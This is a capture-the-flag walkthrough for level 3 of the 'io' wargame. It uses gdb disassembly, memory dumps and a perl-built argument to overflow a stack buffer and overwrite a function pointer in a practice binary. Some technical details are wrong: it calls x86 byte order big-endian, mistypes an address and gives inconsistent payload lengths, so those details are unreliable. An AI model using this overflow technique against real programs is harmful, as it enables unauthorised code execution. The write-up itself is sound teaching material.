Hi all the heroes, you are now level 3 and it is time to fight with a little boss. This is time, the monster that blocking your way requires you to write some code (or script) to finish it. Different from previous two level, this time you can have the executable and source code. As usual, first we execute the program without parameter:
level3@io:~$ /levels/level03
Segmentation fault
Crap! I hate seeing segmentation fault, how about giving it a parameter?
level3@io:~$ /levels/level03 nosegmentationfault
Address of hmm: 0x804847f
The executable gives us a hint that hmm is the key at this level. Let’s attach gdb and see what is inside the program.
(gdb) disass hmm
Dump of assembler code for function hmm:
…
0x080484a8 <hmm+41>: call 0×8048340 <execl@plt>
I guess we are looking at the right place, hmm is a function which execl “something”. By looking at the source code, we can confirm that the function is what we need. The remaining part to grant access is to use stack buffer overflow. How can we achieve it? Go back to the source code, there is an interesting thing.
int (*fptr)(int) = good;
…
(*fptr)((int)hmmptr);
The program is using an unusual way to execute function good, we can take advantage of it to call hmm() by rewriting the value in *fptr. Can we do this? We need to look at how the stack buffer looks like.

As you can see, the variable that is being declared later will have a smaller address. In other words, we can overwrite the values in *fptr by specifying more than 32 bytes to buf. Let’s go back to gdb and see when *fptr is being used to call.
(gdb) disass main
…
0x0804859f <main+240>: mov eax,DWORD PTR [ebp-0x14]
0x080485a2 <main+243>: call eax
…
The function is being called at 0x080485a2. Then how is the buffer looks like at that time?
(gdb) break *0x080485a2
Breakpoint 1 at 0x80485a2
(gdb) run $(perl -e ‘print “B”x40′;)
(gdb) x/20x $esp
0xbfffdcc0: 0x0804847f 0×00000000 0×00000030 0×00000000
0xbfffdcd0: 0×00000000 0×00000000 0xbfffde8d 0x0804847f
0xbfffdce0: 0×41414141 0×41414141 0×41414141 0×41414141
0xbfffdcf0: 0×41414141 0×41414141 0×41414141 0×41414141
0xbfffdd00: 0×41414141 0×42424242 0×00000000 0×00000029
According to the graph above, *fptr is located at 0xbffdd00. From the memory dump above, the first half of the variable is being replaced by 4 “A”. But actually the last 4 bytes in *fptr is already good enough because address are 4 bytes long in 32-bit machines. So what you need is constructing a string with 40 characters long, which fits into variable buf, the last 4 bytes are storing the address of hmm(). Keep in mind that the address is being stored differently in memory (It is Big-Endian).
You can create the parameter like this:
./level3 `perl -e ‘print “B”x36′; printf <Address of hmm() in Big-Endian representation>`
Ready to go to level 4? See you then.